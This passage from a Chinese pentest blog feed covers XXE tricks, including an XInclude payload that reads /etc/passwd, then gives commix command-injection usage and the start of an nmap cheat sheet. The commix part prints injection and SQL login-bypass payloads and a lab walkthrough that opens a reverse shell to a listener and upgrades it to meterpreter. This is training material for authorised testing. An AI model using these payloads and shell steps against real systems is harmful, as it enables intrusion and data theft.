<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><!DOCTYPE foo [</span><br><span class="line"><!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"></span><br><span class="line">%local_dtd;</span><br><span class="line">]></span></span><br></pre></td></tr></table></figure>
<p>通过搜索常见 DTD 列表,编写脚本批量请求,确认存在的文件,然后查看该文件,看哪些实体变量可以使用。</p>
<h2 id="XInclude"><a href="#XInclude" class="headerlink" title="XInclude"></a>XInclude</h2><p>这种是因为后台将我们的请求数据放入后端 SOAP 服务,我们无法控制 XML 全文,无法引入实体<br>而<code>XInclude</code>是 XML 规范的一部分,该规范允许从子文档构建 XML 文档。<br>通过<code>XInclude</code>引入文件读取文件内容:</p>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">foo</span> <span class="attr">xmlns:xi</span>=<span class="string">"http://www.w3.org/2001/XInclude"</span>></span></span><br><span class="line"><span class="tag"><<span class="name">xi:include</span> <span class="attr">parse</span>=<span class="string">"text"</span> <span class="attr">href</span>=<span class="string">"file:///etc/passwd"</span>/></span><span class="tag"></<span class="name">foo</span>></span></span><br></pre></td></tr></table></figure>
<h2 id="特殊文件上传处理引起的-XXE"><a href="#特殊文件上传处理引起的-XXE" class="headerlink" title="特殊文件上传处理引起的 XXE"></a>特殊文件上传处理引起的 XXE</h2><p>有一些文件是基于 XML 的,如 SVG 图像,DOCX 文档,如果后端在文件上传之后对这些类型的文件进行解析之类,就有可能触发 XXE。这个时候我们可以传入一个恶意的 SVG 图像触发漏洞。</p>
<h2 id="更改-content-type-后触发-XXE"><a href="#更改-content-type-后触发-XXE" class="headerlink" title="更改 content-type 后触发 XXE"></a>更改 content-type 后触发 XXE</h2><p>通常 form 上传时的 content-type 是 application/x-www-form-urlencoded,但是有些网站可以在修改之后提交 xml 格式。</p>
<p>原来的请求:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">POST /action HTTP/1.0</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 7</span><br><span class="line"></span><br><span class="line">foo=bar</span><br></pre></td></tr></table></figure>
<p>修改之后:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">POST /action HTTP/1.0</span><br><span class="line">Content-Type: text/xml</span><br><span class="line">Content-Length: 52</span><br><span class="line"></span><br><span class="line"><?xml version="1.0" encoding="UTF-8"?><foo>bar</foo></span><br></pre></td></tr></table></figure>
<p>如果解析这种 XML,很有可能是一个隐藏的 XXE 漏洞点。</p>
<h1 id="防范"><a href="#防范" class="headerlink" title="防范"></a>防范</h1><ul>
<li>禁用外部实体</li>
<li>禁用 XInclude</li>
<li>检查 XML 相关开发包是否默认开启了一些危险功能</li>
</ul>
<h1 id="例子"><a href="#例子" class="headerlink" title="例子"></a>例子</h1><p><a href="https://vulhub.org/#/environments/php/php_xxe/" target="_blank" rel="external">https://vulhub.org/#/environments/php/php_xxe/</a></p>
<h1 id="参考-paper"><a href="#参考-paper" class="headerlink" title="参考 paper"></a>参考 paper</h1><p><a href="https://portswigger.net/web-security/xxe" target="_blank" rel="external">https://portswigger.net/web-security/xxe</a><br><a href="https://portswigger.net/web-security/xxe/blind" target="_blank" rel="external">https://portswigger.net/web-security/xxe/blind</a></p>
]]></content>
<summary type="html">
<h1 id="XXE:XML-外部实体注入漏洞"><a href="#XXE:XML-外部实体注入漏洞" class="headerlink" title="XXE:XML 外部实体注入漏洞"></a>XXE:XML 外部实体注入漏洞</h1><p>对客户端传入的数据未经检并且
</summary>
<category term="pentest" scheme="http://myt0.com/categories/pentest/"/>
<category term="security" scheme="http://myt0.com/tags/security/"/>
<category term="xxe" scheme="http://myt0.com/tags/xxe/"/>
</entry>
<entry>
<title>commix</title>
<link href="http://myt0.com/2020/02/24/commix/"/>
<id>http://myt0.com/2020/02/24/commix/</id>
<published>2020-02-24T10:11:53.000Z</published>
<updated>2020-02-28T09:01:46.153Z</updated>
<content type="html"><![CDATA[<p>commix 是一款优秀的自动化命令注入漏洞利用工具。</p>
<h1 id="常用命令"><a href="#常用命令" class="headerlink" title="常用命令"></a>常用命令</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># POST + COOKIE</span></span><br><span class="line">commix -u <span class="string">"http://192.168.99.101/002/index.php?page=dns-lookup.php"</span> --data <span class="string">"target_host=127.0.0.1|id&dns-lookup-php-submit-button=Lookup DNS"</span> --cookie <span class="string">"showhints=1;username=admin; uid=1; PHPSESSID=a4e51899c9535d7f82f5eec85e445ebe"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用request文件,同sqlmap</span></span><br><span class="line">commix -r reqfile</span><br><span class="line"></span><br><span class="line"><span class="comment"># 爬虫模式,指定爬虫深度 1-2, 默认0</span></span><br><span class="line">commix --crawl=1</span><br><span class="line"></span><br><span class="line"><span class="comment"># 通过sitemap检测</span></span><br><span class="line">commix -x sitemap_url</span><br><span class="line"></span><br><span class="line"><span class="comment"># 增加其他http头</span></span><br><span class="line">--host</span><br><span class="line">--referer</span><br><span class="line">--useragent</span><br><span class="line">--random-agent <span class="comment"># 随机user-agent</span></span><br><span class="line">--cookie</span><br><span class="line"></span><br><span class="line"><span class="comment"># 代理</span></span><br><span class="line">--proxy PROXY</span><br><span class="line">--tor</span><br><span class="line">--tor-port</span><br><span class="line"></span><br><span class="line"><span class="comment"># 需要登录认证时的配置</span></span><br><span class="line">--auth-url 登录url</span><br><span class="line">--auth-data 登录data</span><br><span class="line"><span class="comment"># HTTP基础认证</span></span><br><span class="line">--auth-type HTTP基础认证类型 <span class="string">'BASIC'</span>或<span class="string">'Digest'</span></span><br><span class="line">--auth-cred HTTP认证信息 e.g. <span class="string">'admin:admin'</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 忽略的response status_code</span></span><br><span class="line">--ignore-code 401</span><br><span class="line"><span class="comment"># 忽略跳转</span></span><br><span class="line">--ignore-redirects</span><br><span class="line"></span><br><span class="line"><span class="comment"># 超时的时候,最大尝试次数</span></span><br><span class="line">--retries</span><br><span class="line"></span><br><span class="line"><span class="comment"># 强制ssl</span></span><br><span class="line">--force-ssl</span><br><span class="line"></span><br><span class="line"><span class="comment"># 指定编码类型</span></span><br><span class="line">--encoding GBK</span><br></pre></td></tr></table></figure>
<h1 id="记录测试结果"><a href="#记录测试结果" class="headerlink" title="记录测试结果"></a>记录测试结果</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">--output-dir</span><br><span class="line"></span><br><span class="line"><span class="comment"># 从session_file(.sqlite文件)中载入会话</span></span><br><span class="line"><span class="_">-s</span> SESSION_FILE</span><br><span class="line"></span><br><span class="line"><span class="comment"># 刷新目标相关的会话数据</span></span><br><span class="line">--flush-session</span><br><span class="line"></span><br><span class="line"><span class="comment"># 忽略所有session_file记载的结果,即此次扫描与历史数据无关</span></span><br><span class="line">--ignore-session</span><br></pre></td></tr></table></figure>
<h1 id="获取系统信息"><a href="#获取系统信息" class="headerlink" title="获取系统信息"></a>获取系统信息</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">--all 获取所有信息</span><br><span class="line">--current-user</span><br><span class="line">--hostname</span><br><span class="line">--is-root</span><br><span class="line">--is-admin</span><br><span class="line">--sys-info</span><br><span class="line">--users</span><br><span class="line">--passwords</span><br><span class="line">--privileges</span><br><span class="line"><span class="comment"># powershell 版本</span></span><br><span class="line">--ps-version</span><br></pre></td></tr></table></figure>
<h1 id="文件操作"><a href="#文件操作" class="headerlink" title="文件操作"></a>文件操作</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">--file-read</span><br><span class="line">--file-write</span><br><span class="line">--file-upload</span><br><span class="line"><span class="comment"># 指定写入或者上传之后保存的绝对路径</span></span><br><span class="line">--file-dest</span><br></pre></td></tr></table></figure>
<h1 id="指定测试参数"><a href="#指定测试参数" class="headerlink" title="指定测试参数"></a>指定测试参数</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 指定测试参数</span></span><br><span class="line">-p</span><br><span class="line"></span><br><span class="line"><span class="comment"># 跳过指定参数</span></span><br><span class="line">--skip</span><br><span class="line"></span><br><span class="line"><span class="comment"># HTTP requests间隔秒数</span></span><br><span class="line">--delay</span><br><span class="line"></span><br><span class="line"><span class="comment"># 指定一个os-shell 比如 python</span></span><br><span class="line">--alter-shell <span class="string">'python'</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 指定执行的命令</span></span><br><span class="line">--os-cmd id</span><br><span class="line"></span><br><span class="line"><span class="comment"># 指定网站根目录</span></span><br><span class="line">--web-root /var/www</span><br><span class="line"></span><br><span class="line"><span class="comment"># 指定tmp目录</span></span><br><span class="line">--tmp-path /tmp</span><br><span class="line"></span><br><span class="line"><span class="comment"># 指定目标操作系统</span></span><br><span class="line">--os <span class="string">'Windows'</span> or <span class="string">'Unix'</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 指定tamper脚本,可以用于绕过waf</span></span><br><span class="line">--tamper</span><br></pre></td></tr></table></figure>
<h1 id="跳过一些测试项"><a href="#跳过一些测试项" class="headerlink" title="跳过一些测试项"></a>跳过一些测试项</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 测试等级 1-3 默认 1</span></span><br><span class="line">--level</span><br><span class="line"></span><br><span class="line"><span class="comment"># 跳过数学计算</span></span><br><span class="line">--skip-calc</span><br><span class="line"></span><br><span class="line"><span class="comment"># 跳过参数空值测试</span></span><br><span class="line">--skip-empty</span><br><span class="line"></span><br><span class="line"><span class="comment"># 最大失败尝试次数</span></span><br><span class="line">--failed-tries 5</span><br><span class="line"></span><br><span class="line"><span class="comment"># 检测依赖模块</span></span><br><span class="line">--dependencies</span><br><span class="line"></span><br><span class="line"><span class="comment"># 列出所有tamper脚本,类似sqlmap tamper</span></span><br><span class="line">--list-tampers</span><br><span class="line"></span><br><span class="line"><span class="comment"># 安全地移除所有commix数据</span></span><br><span class="line">--purge</span><br><span class="line"></span><br><span class="line"><span class="comment"># 跳过检测waf</span></span><br><span class="line">--skip-waf</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用移动端 user-agent</span></span><br><span class="line">--mobile</span><br><span class="line"></span><br><span class="line"><span class="comment"># 离线模式</span></span><br><span class="line">--offline</span><br><span class="line"></span><br><span class="line"><span class="comment"># 为新手准备的向导模式,一种交互模式,按提示输入一个个参数</span></span><br><span class="line">--wizard</span><br><span class="line"></span><br><span class="line"><span class="comment"># 禁止多色输出</span></span><br><span class="line">--disable-coloring</span><br></pre></td></tr></table></figure>
<h1 id="官方例子"><a href="#官方例子" class="headerlink" title="官方例子"></a>官方例子</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">Usage Examples</span><br><span class="line">Cat0x00 edited this page on 20 Mar 2019 · 26 revisions</span><br><span class="line">1. Exploiting Damn Vulnerable Web App:</span><br><span class="line">root@kali:~/commix<span class="comment"># python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=127.0.0.1&Submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"</span></span><br><span class="line"></span><br><span class="line">2. Exploiting php-Charts 1.0 using injection payload suffix & prefix string:</span><br><span class="line">root@kali:~/commix<span class="comment"># python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=test" --prefix="'" --suffix="//"</span></span><br><span class="line"></span><br><span class="line">3. Exploiting OWASP Mutillidae using extra headers and HTTP proxy:</span><br><span class="line">root@kali:~/commix<span class="comment"># python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=127.0.0.1" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"</span></span><br><span class="line"></span><br><span class="line">4. Exploiting Persistence using ICMP exfiltration technique:</span><br><span class="line">root@kali:~/commix<span class="comment"># python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8"</span></span><br><span class="line"></span><br><span class="line">5. Exploiting Persistence using an alternative (python) shell:</span><br><span class="line">root@kali:~/commix<span class="comment"># python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --alter-shell="Python"</span></span><br><span class="line"></span><br><span class="line">6. Exploiting Kioptrix: Level 1.1 (<span class="comment">#2):</span></span><br><span class="line">root@kali:~/commix<span class="comment"># python commix.py --url="http://192.168.178.2/pingit.php" --data="ip=127.0.0.1E&submit=submit" --auth-url="http://192.168.178.2/index.php" --auth-data="uname=admin&psw=%27+OR+1%3D1--+-&btnLogin=Login"</span></span><br><span class="line"></span><br><span class="line">7. Exploiting Kioptrix: 2014 (<span class="comment">#5) using custom user-agent and specified injection technique:</span></span><br><span class="line">root@kali:~/commix<span class="comment"># python commix.py --url="http://192.168.178.6:8080/phptax/drawimage.php?pfilez=127.0.0.1&pdf=make" --user-agent="Mozilla/4.0 Mozilla4_browser" --technique="f" --root-dir="/"</span></span><br><span class="line"></span><br><span class="line">8. Exploiting CVE-2014-6271/Shellshock:</span><br><span class="line">root@kali:~/commix<span class="comment"># python commix.py --url="http://192.168.178.4/cgi-bin/status/" --shellshock</span></span><br><span class="line"></span><br><span class="line">9. Exploiting commix-testbed (cookie) using cookie-based injection:</span><br><span class="line">root@kali:~/commix<span class="comment"># python commix.py --url="http://192.168.2.8/commix-testbed/scenarios/cookie/cookie(blind).php" --cookie="addr=127.0.0.1"</span></span><br><span class="line"></span><br><span class="line">10. Exploiting commix-testbed (user-agent) using ua-based injection:</span><br><span class="line">root@kali:~/commix<span class="comment"># python commix.py --url="http://192.168.2.4/commix-testbed/scenarios/user-agent/ua(blind).php" --level=3</span></span><br><span class="line"></span><br><span class="line">11. Exploiting commix-testbed (referer) using referer-based injection:</span><br><span class="line">root@kali:~/commix<span class="comment"># python commix.py --url="http://192.168.2.4/commix-testbed/scenarios/referer/referer(classic).php" --level=3</span></span><br><span class="line"></span><br><span class="line">12. Exploiting Flick 2 using custom headers and base64 encoding option:</span><br><span class="line">root@kali:~/commix<span class="comment"># python commix.py --url="https://192.168.2.12/do/cmd/*" --headers="X-UUID:commix\nX-Token:dTGzPdMJlOoR3CqZJy7oX9JU72pvwNEF" --base64</span></span><br><span class="line"></span><br><span class="line">13. Exploiting commix-testbed (JSON-based) using JSON POST data:</span><br><span class="line">root@kali:~/commix<span class="comment"># python commix.py --url="http://192.168.2.11/commix-testbed/scenarios/regular/POST/classic_json.php" --data='{"addr":"127.0.0.1","name":"ancst"}'</span></span><br><span class="line"></span><br><span class="line">14. Exploiting SickOs 1.1 using shellshock module and HTTP proxy:</span><br><span class="line">root@kali:~/commix<span class="comment"># python commix.py --url="http://192.168.2.8/cgi-bin/status" --shellshock --proxy="192.168.2.8:3128"</span></span><br></pre></td></tr></table></figure>
<h1 id="get-metasploit-shell"><a href="#get-metasploit-shell" class="headerlink" title="get metasploit shell"></a>get metasploit shell</h1><p><code>commix</code>注入成功会自动获取一个<code>Pseudo-Terminal</code>,默认为<code>os_shell</code>模式,显示有点问题,不如<code>metasploit</code>好用。</p>
<p>前提是指定<code>--msf-path metasploit安装路径</code>,获取<code>Pseudo-Terminal</code>之后,通过命令与<code>metasploit</code>联动:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 执行之前启动 metasploit exploit/multi/handler</span></span><br><span class="line">msf5 exploit(multi/handler) > exploit</span><br><span class="line">[*] Started reverse TCP handler on 192.168.99.103:4444</span><br><span class="line"></span><br><span class="line"><span class="comment"># 反弹tcp shell,还有一种 bind_tcp shell</span></span><br><span class="line">commix(os_shell) > reverse_tcp</span><br><span class="line"></span><br><span class="line">commix(os_shell) > <span class="built_in">set</span> LHOST 192.168.99.103</span><br><span class="line"></span><br><span class="line">commix(os_shell) > <span class="built_in">set</span> LPORT 4444</span><br><span class="line"></span><br><span class="line">---[ Unix-like reverse TCP shells ]---</span><br><span class="line">Type <span class="string">'1'</span> to use a PHP reverse TCP shell.</span><br><span class="line">Type <span class="string">'2'</span> to use a Perl reverse TCP shell.</span><br><span class="line">Type <span class="string">'3'</span> to use a Ruby reverse TCP shell.</span><br><span class="line">Type <span class="string">'4'</span> to use a Python reverse TCP shell.</span><br><span class="line">Type <span class="string">'5'</span> to use a Socat reverse TCP shell.</span><br><span class="line">Type <span class="string">'6'</span> to use a Bash reverse TCP shell.</span><br><span class="line">Type <span class="string">'7'</span> to use a Ncat reverse TCP shell.</span><br><span class="line"></span><br><span class="line">---[ Windows reverse TCP shells ]---</span><br><span class="line">Type <span class="string">'8'</span> to use a PHP meterpreter reverse TCP shell.</span><br><span class="line">Type <span class="string">'9'</span> to use a Python reverse TCP shell.</span><br><span class="line">Type <span class="string">'10'</span> to use a Python meterpreter reverse TCP shell.</span><br><span class="line">Type <span class="string">'11'</span> to use a Windows meterpreter reverse TCP shell.</span><br><span class="line">Type <span class="string">'12'</span> to use the web delivery script.</span><br><span class="line"></span><br><span class="line"><span class="comment"># 开始回连</span></span><br><span class="line">commix(reverse_tcp_other) > 4</span><br><span class="line">[+] Everything is <span class="keyword">in</span> place, cross your fingers and <span class="built_in">wait</span> <span class="keyword">for</span> a shell!</span><br><span class="line"></span><br><span class="line"><span class="comment"># handler 成功获得shell</span></span><br><span class="line">[*] Command shell session 1 opened (192.168.99.103:4444 -> 192.168.99.101:49036) at 2020-02-24 16:35:33 +0800</span><br><span class="line"></span><br><span class="line">$ whoami</span><br><span class="line">www-data</span><br><span class="line"></span><br><span class="line">$ background</span><br><span class="line"></span><br><span class="line"><span class="comment"># 升级到 meterpreter</span></span><br><span class="line">msf5 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter</span><br><span class="line">msf5 post(multi/manage/shell_to_meterpreter) > <span class="built_in">set</span> SESSION 1</span><br><span class="line">SESSION => 1</span><br><span class="line">msf5 post(multi/manage/shell_to_meterpreter) > run</span><br><span class="line"></span><br><span class="line">[!] SESSION may not be compatible with this module.</span><br><span class="line">[*] Upgrading session ID: 1</span><br><span class="line">[*] Starting exploit/multi/handler</span><br><span class="line">[*] Started reverse TCP handler on 192.168.99.103:4433</span><br><span class="line">[*] Sending stage (985320 bytes) to 192.168.99.101</span><br><span class="line">[*] Meterpreter session 2 opened (192.168.99.103:4433 -> 192.168.99.101:59582) at 2020-02-24 17:00:18 +0800</span><br><span class="line">[*] Command stager progress: 100.00% (773/773 bytes)</span><br><span class="line">[*] Post module execution completed</span><br><span class="line">msf5 post(multi/manage/shell_to_meterpreter) > sessions <span class="_">-l</span></span><br><span class="line"></span><br><span class="line">Active sessions</span><br><span class="line">===============</span><br><span class="line"></span><br><span class="line"> Id Name Type Information Connection</span><br><span class="line"></span><br><span class="line"> -- ---- ---- ----------- ----------</span><br><span class="line"></span><br><span class="line"> 1 shell python/python /bin/sh: 0: can<span class="string">'t access tty; job control turned off $ 192.168.99.103:4444 -> 192.168.99.101:49036 (192.168.99.101)</span><br><span class="line"> 2 meterpreter x86/linux uid=33, gid=33, euid=33, egid=33 @ 192.168.99.101 192.168.99.103:4433 -> 192.168.99.101:59582 (192.168.99.101)</span></span><br></pre></td></tr></table></figure>
]]></content>
<summary type="html">
<p>commix 是一款优秀的自动化命令注入漏洞利用工具。</p>
<h1 id="常用命令"><a href="#常用命令" class="headerlink" title="常用命令"></a>常用命令</h1><figure class="highlight bash"
</summary>
<category term="tools" scheme="http://myt0.com/categories/tools/"/>
<category term="security" scheme="http://myt0.com/tags/security/"/>
</entry>
<entry>
<title>nmap</title>
<link href="http://myt0.com/2020/02/21/nmap/"/>
<id>http://myt0.com/2020/02/21/nmap/</id>
<published>2020-02-21T09:00:00.000Z</published>
<updated>2020-02-24T11:54:32.317Z</updated>
<content type="html"><![CDATA[<h1 id="通用参数"><a href="#通用参数" class="headerlink" title="通用参数"></a>通用参数</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 禁止DNS反向解析</span></span><br><span class="line">-n</span><br><span class="line"><span class="comment"># 反向解析域名</span></span><br><span class="line">-R</span><br><span class="line"><span class="comment"># 使用系统域名解析器</span></span><br><span class="line">--system-dns</span><br><span class="line"><span class="comment"># ipv6</span></span><br><span class="line">-6</span><br><span class="line"><span class="comment"># 路由跟踪</span></span><br><span class="line">--traceroute</span><br><span class="line"><span class="comment"># 速度快慢 从0到5,侵入性增加,速度加快</span></span><br><span class="line">-T0-5</span><br><span class="line"><span class="comment"># 展示扫描细节</span></span><br><span class="line">-v</span><br><span class="line"><span class="comment"># 全面扫描,速度较慢,容易被发现</span></span><br><span class="line">-A</span><br><span class="line"><span class="comment"># 指定目标文件</span></span><br><span class="line">-iL host.txt</span><br><span class="line"><span class="comment"># 调试:跟踪发送的报文</span></span><br><span class="line">--packet-trace</span><br><span class="line"><span class="comment"># 列举接口</span></span><br><span class="line">--iflist</span><br><span class="line"><span class="comment"># 指定网口</span></span><br><span class="line"><span class="_">-e</span> eth0</span><br><span class="line"><span class="comment"># 保存结果 默认格式</span></span><br><span class="line">-oN res.txt</span><br><span class="line"><span class="comment"># grep 格式</span></span><br><span class="line">-oG res.txt</span><br><span class="line"><span class="comment"># 中断扫描之后,从日志中恢复</span></span><br><span class="line">--resume res.txt</span><br><span class="line"><span class="comment"># XML 保存</span></span><br><span class="line">-oX res.xml</span><br><span class="line"><span class="comment"># 保存所有格式各一份</span></span><br><span class="line">-oA</span><br></pre></td></tr></table></figure>
<h1 id="主机存活"><a href="#主机存活" class="headerlink" title="主机存活"></a>主机存活</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Ping</span></span><br><span class="line">nmap -sn 192.168.99.1/24</span><br><span class="line">nmap <span class="_">-s</span>P 192.168.99.1/24</span><br><span class="line"><span class="comment"># ARP ping</span></span><br><span class="line">nmap -PR 192.168.99.1/24</span><br><span class="line"><span class="comment"># ICMP Ping types</span></span><br><span class="line">nmap -PE/-PP/-PM</span><br><span class="line"><span class="comment"># TCP ACK</span></span><br><span class="line">nmap -PA port 192.168.99.1/24</span><br><span class="line"><span class="comment"># TCP SYN</span></span><br><span class="line">nmap -PS port 192.168.99.1/24</span><br><span class="line"><span class="comment"># UDP</span></span><br><span class="line">nmap -PU port 192.168.99.1/24</span><br><span class="line"><span class="comment"># SCTP INT</span></span><br><span class="line">nmap -PY port 192.168.99.1/24</span><br></pre></td></tr></table></figure>
